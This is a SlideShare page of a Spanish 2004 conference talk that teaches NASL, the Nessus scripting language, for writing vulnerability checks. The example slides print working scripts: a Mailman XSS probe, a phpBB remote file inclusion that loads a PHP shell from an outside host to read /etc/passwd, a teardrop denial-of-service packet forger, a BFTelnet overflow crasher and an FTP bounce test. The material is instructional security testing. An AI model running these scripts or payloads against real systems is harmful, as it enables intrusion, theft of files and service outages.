POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...silviayucra2
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)GDGSucre
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan JosephBRAYANJOSEPHPEREZGOM
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITMaricarmen Sánchez Ruiz
 

Kürzlich hochgeladen (10)

Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft FabricGlobal Azure Lima 2024 - Integración de Datos con Microsoft Fabric
Global Azure Lima 2024 - Integración de Datos con Microsoft Fabric
 
Trabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnologíaTrabajo Mas Completo De Excel en clase tecnología
Trabajo Mas Completo De Excel en clase tecnología
 
EPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial UninoveEPA-pdf resultado da prova presencial Uninove
EPA-pdf resultado da prova presencial Uninove
 
Proyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptxProyecto integrador. Las TIC en la sociedad S4.pptx
Proyecto integrador. Las TIC en la sociedad S4.pptx
 
Desarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdfDesarrollo Web Moderno con Svelte 2024.pdf
Desarrollo Web Moderno con Svelte 2024.pdf
 
Presentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptxPresentación guía sencilla en Microsoft Excel.pptx
Presentación guía sencilla en Microsoft Excel.pptx
 
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
POWER POINT YUCRAElabore una PRESENTACIÓN CORTA sobre el video película: La C...
 
International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)International Women's Day Sucre 2024 (IWD)
International Women's Day Sucre 2024 (IWD)
 
guía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Josephguía de registro de slideshare por Brayan Joseph
guía de registro de slideshare por Brayan Joseph
 
pruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNITpruebas unitarias unitarias en java con JUNIT
pruebas unitarias unitarias en java con JUNIT
 

NASL

  • 1. FIST Conference Abril 2004 NASL lenguaje de desarrollo de exploits Rafael San Miguel Carrasco
  • 2. FIST Conference Abril 2004 Tareas típicas del exploit dev : • escribir las cabeceras de un datagrama IP • implementar un diálogo HTTP • capturar y procesar paquetes en modo promiscuo • existencia de un fichero en un servidor • comprobación de desbordamientos
  • 3. FIST Conference Abril 2004 Contenido: 1) NASL, Nessus, Knowledge Base 2) Sintaxis del lenguaje NASL 3) Librería de funciones 4) Ejemplos de programación 5) Consideraciones finales
  • 4. FIST Conference Abril 2004 Nessus: • Escáner de vulnerabilidades • Libre distribución • Entornos UNIX • www.nessus.org • Para ampliar su capacidad: NASL NASL = Nessus Attack Scripting Language
  • 5. FIST Conference Abril 2004 Modelo cliente / servidor: nessus nessusd host host host nessus nessus
  • 6. FIST Conference Abril 2004 Lanzamos el cliente Nessus:
  • 7. FIST Conference Abril 2004 Selección de plugins:
  • 8. FIST Conference Abril 2004 Fijamos algunas opciones:
  • 9. FIST Conference Abril 2004 Rango de direcciones IP:
  • 10. FIST Conference Abril 2004 Iniciamos el scan:
  • 11. FIST Conference Abril 2004 Informe de vulnerabilidades:
  • 12. FIST Conference Abril 2004 Intérprete NASL: • nasl –t 192.168.0.128 script.nasl • previamente lanzamos nessusd • sólo direcciones IP permitidas • políticas: nessusd.rules y nessusd.users
  • 13. FIST Conference Abril 2004 Intérprete NASL: • nasl –t 192.168.0.128 script.nasl • previamente lanzamos nessusd • sólo direcciones IP permitidas • políticas: nessusd.rules y nessusd.users
  • 14. FIST Conference Abril 2004 plugin malicioso: nessus script malicioso nessusd host host host nessus nessus reporte de vulnerabilidad atacante
  • 15. FIST Conference Abril 2004 Otra restricción: • NASL no permite la ejecución de comandos locales • No puede utilizarse para escribir exploits de ámbito local
  • 16. FIST Conference Abril 2004 Knowledge Base: • base de datos para cada host • datos relevantes para los scripts • set_kb_item () • get_kb_item ()
  • 17. FIST Conference Abril 2004 Atributos de la clase Services: • Services/www • Services/ftp • Services/http_proxy • Services/imap • ...
  • 18. FIST Conference Abril 2004 Atributos de la clase Host: • Host/OS • Host/dead • modificado por scripts de ataques DoS
  • 19. FIST Conference Abril 2004 Otros atributos: • ftp/anonymous • www/frontpage • rpc/bootparamd • bind/version • ftp/root_via_cwd • ...
  • 20. FIST Conference Abril 2004 Sintaxis: estructuras de control • if (condición) { instr.} else { instr. } • for (inic; condición; instr) { instr. } • while (condición) { instr. } • foreach elemento (array) { instr. } • repeat { instr. } until (condición); • operador x: • send_packet (udp) x 30
  • 21. FIST Conference Abril 2004 Sintaxis: tipos de datos • No se manejan explícitamente (Perl) • Asignaciones: • a = 100; • nombre = “Rafael”; • bytes = raw_string (0x41, 0x01, 0xFF); • ¡No hay estructuras de datos!
  • 22. FIST Conference Abril 2004 Sintaxis: arrays • a [1] = 450; • b = “cadena”; • if (b [2] == “a”) • if (a [1] == 450) • Caso 1 : b [2] = “o”; • Caso 2 : b = insstr (b, “o”, 1, 1);
  • 23. FIST Conference Abril 2004 Sintaxis: funciones • posibilidad de definir funciones • existen limitaciones en la llamada a las funciones definidas por el programador • sintaxis: function suma (a, b) { instr. return (valor); }
  • 24. FIST Conference Abril 2004 Sintaxis: funciones no anónimas • no importa el orden y número de argumentos especificados en la llamada • debe indicarse el nombre de los argumentos: send (data: “hola”, socket: s); • si faltan datos: se solicitan en tiempo de ejecución
  • 25. FIST Conference Abril 2004 Librería de funciones: clasificación • manipulación de cadenas • sockets • raw sockets • protocolos http, ftp, telnet • funciones criptográficas • funciones “vínculo” con Nessus
  • 26. FIST Conference Abril 2004 Funciones: manipulación de cadenas • operadores ==, <, > • operador >< • if (“Access denied” >< respuesta) • ereg () y egrep () para pattern matching • crap : para testear desbordamientos • crap (length: 1000, data: “bla”);
  • 27. FIST Conference Abril 2004 Funciones: sockets • send (), recv () sin dirección IP destino • recv_line (socket: s, length: 100, timeout: 5); • get_port_state (port) • tcp_ping () • open_priv_sock_udp (srcport, dstport) • flag MSG_OOB en send () ¿Por qué?
  • 28. FIST Conference Abril 2004 Funciones: raw sockets • protocolos soportados: ICMP, IGMP, TCP, UDP, IP • funciones forge_X_packet () • pcap_next () • funciones get_X_elements () • insert_ip_options () • send_packet ()
  • 29. FIST Conference Abril 2004 Funciones: http, ftp, telnet • ftp_log_in (usuario, password) • telnet_init () • http_get (), http_post (), http_head (), ... • is_cgi_installed (“/cgi-bin/search.cgi”) • cgi_dirs () http_get (port: 80, item: “/cgi-bin/search.cgi”, data: “query=hola”); ¡No podemos simular servidores!
  • 30. FIST Conference Abril 2004 Funciones: criptográficas • digests MD2, MD4, MD5 • digest SHA-1 • digest cifrado HMAC HMAC_DSS, HMAC_MD2, HMAC_MD4, HMAC_MD5, HMAC_RIPEMD160, ...
  • 31. FIST Conference Abril 2004 Funciones: integración con Nessus • script_category () • script_family () • script_bugtraq_id () • script_cve_id () • script_dependencies ()
  • 32. FIST Conference Abril 2004 Funciones: integración con Nessus • security_hole (descr., puerto) • security_warning (descr., puerto) • security_note (descr., puerto)
  • 33. FIST Conference Abril 2004 Ejemplo: XSS en Mailman Pasos: • comprobar la existencia del script vulnerable • enviar petición GET con código HTML/Javascript • comprobar respuesta del servidor
  • 34. FIST Conference Abril 2004 Ejemplo: XSS en Mailman puerto = 80; cadena = "<script>alert(document.domain)</script>"; url = "/cgi-bin/listinfo"; display ("nMailman XSS bug testn--------------------n"); if (is_cgi_installed (url, puerto) ) { display ("info: listinfo existe en la version de mailman instaladan"); socket = open_sock_tcp (puerto); peticion = http_get (item : "/cgi-bin/listinfo/" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
  • 35. FIST Conference Abril 2004 Ejemplo: XSS en Mailman if (cadena >< rrecv) { display ("info: esta version de mailman es vulnerable a XSSnn"); } else { display ("info: version NO vulnerable de mailmannn"); } return (0); } display ("mailman no esta instalado en el servidornn");
  • 36. FIST Conference Abril 2004 Ejemplo: XSS en Mailman
  • 37. FIST Conference Abril 2004 Ejemplo: XSS en Mailman Integración con Nessus: • bloque if : registro en nessusd if(description) { script_name(english:"Mailman XSS bug test"); script_description(english:"Comprobación del fallo de XSS en Mailman"); script_summary(english:“Petición GET con código HTML/JavaScript"); script_category(ACT_ATTACK); script_family(english:"Misc."); script_copyright(english:"Rafael San Miguel Carrasco"); exit(0); }
  • 38. FIST Conference Abril 2004 Ejemplo: XSS en Mailman Integración con Nessus: • notificación a Nessus if (cadena >< rrecv) { report = “Mailman es vulnerable a XSS"; security_hole (port: 80, data:report); } • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
  • 39. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB • servidor web propio • shell PHP de www.planet-source-code.com <php passthru (‘cat /etc/passwd’) ?>
  • 40. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB Pasos: • comprobar la existencia del PHP vulnerable • enviar petición GET con parámetros adecuados • verificar que en la respuesta del servidor aparece la cadena “root”
  • 41. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB puerto = 80; cadena = "phpbb_root_path=http://www.soluciones-seguras.com/&phpEx=php"; url = "/album_portal.php"; display ("nphpBB Modified Insertion Bug Testn---------------------------n"); if (is_cgi_installed (url, puerto) ) { display ("info: phpBB esta instalado en el servidor n"); socket = open_sock_tcp (puerto); peticion = http_get (item : url + "?" + cadena, port : puerto); rsend = send (socket : socket, data : peticion); rrecv = recv (socket : socket, length : 32000); close(socket);
  • 42. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB if ("root" >< rrecv) { display ("info: se ha conseguido el fichero /etc/passwd del servidorn"); # pattern matching display (egrep (pattern: "^root*", string: rrecv) ); display ("nn"); } else { display ("info: la version no es vulnerablenn"); } return (0); }
  • 43. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB
  • 44. FIST Conference Abril 2004 Ejemplo: Inserción PHP en phpBB Integración con Nessus: • bloque if de registro en nessusd • llamada a security_hole () si el ataque tiene éxito • copiamos el .nasl /usr/lib/nessus/plugins • relanzamos nessusd
  • 45. FIST Conference Abril 2004 Ejemplo: teardrop • ataque DoS que afecta a los stacks TCP/IP de algunos sistemas operativos • fallo en el algoritmo de ensamblado • implementación del exploit: • datagrama UDP 1: • payload N bytes, offset 0, MF on • datagrama UDP 2: • payload < N, offset < N, MF off
  • 46. FIST Conference Abril 2004 Ejemplo: teardrop MAGIC = 2; IPH = 20; UDPH = 8; PADDING = 0x1c; MAGIC = 0x3; IP_ID = 242; sport = 123; dport = 137; LEN = IPH + UDPH + PADDING; src = this_host(); ip = forge_ip_packet(ip_v : 4, ip_hl : 5, ip_tos : 0, ip_id : IP_ID, ip_len : LEN, ip_off : IP_MF, ip_p : IPPROTO_UDP, ip_src : src, ip_ttl : 0x40);
  • 47. FIST Conference Abril 2004 Ejemplo: teardrop LEN = UDPH + PADDING; udp1 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN); LEN = IPH + MAGIC + 1; set_ip_elements(ip: ip, ip_len : LEN, ip_off : MAGIC); LEN = UDPH + PADDING; udp2 = forge_udp_packet(ip : ip, uh_sport : sport, uh_dport : dport, uh_len : LEN); start_denial(); send_packet(udp1,udp2, pcap_active:FALSE) x 500; alive = end_denial(); if(!alive) { set_kb_item(name:"Host/dead", value:TRUE); security_hole(0); }
  • 48. FIST Conference Abril 2004 Ejemplo: overflow en BFTelnet • nombre de usuario muy largo • provoca la caída del servicio telnet • fallo típico de muchos otros servidores (ftp, pop3, ...)
  • 49. FIST Conference Abril 2004 Ejemplo: overflow en BFTelnet port = get_kb_item ("Services/telnet"); if (!port) port = 23; if (get_port_state(port)) { soc = open_sock_tcp(port); if (soc) { banner = telnet_init(soc); banner = string(banner, recv(socket:soc, length:1000)); data = string(crap(4000), "rn"); send(socket:soc, data:data); close(soc); soc2 = open_sock_tcp(port); if(!soc2) security_warning(port); } }
  • 50. FIST Conference Abril 2004 Ejemplo: ftp bouncing • comando PORT para conexión de datos (protocolo FTP) • posibilidad de iniciar una conexión con host arbitrario • utilidad: • port scanning • bypass de las reglas de un firewall
  • 51. FIST Conference Abril 2004 Ejemplo: ftp bouncing port = get_kb_item("Services/ftp"); if(!port)port = 21; login = get_kb_item("ftp/login"); password = get_kb_item("ftp/password"); if (login) { soc = open_sock_tcp(port); if(soc) { if(ftp_log_in(socket:soc, user:login, pass:password)) { command = string("PORT 66,88,91,109,0,21n"); send(socket:soc, data:command); code = recv(socket:soc, length:4); if(code == "200 ") security_hole(port); } close(soc); } }
  • 52. FIST Conference Abril 2004 Consideraciones finales: • soporte multilenguaje name["english"] = "BFTelnet DoS"; name["francais"]= "Déni de service contre BFTelnet"; script_name(english:name["english"], francais:name["francais"]); • forking automático y transparente ejemplo: dos puertos telnet
  • 53. FIST Conference Abril 2004 Detección de WAPs con NASL: www.tenablesecurity.com/white_papers/wap-id-nessus.pdf Más información sobre NASL y Nessus: www.nessus.org/documentation.html Estas transparencias: www.soluciones-seguras.com www.fistconference.org
  • 54. FIST Conference Abril 2004 Nuestra empresa: Soluciones Seguras
  • 55. FIST Conference Abril 2004 ¡Muchas gracias por venir!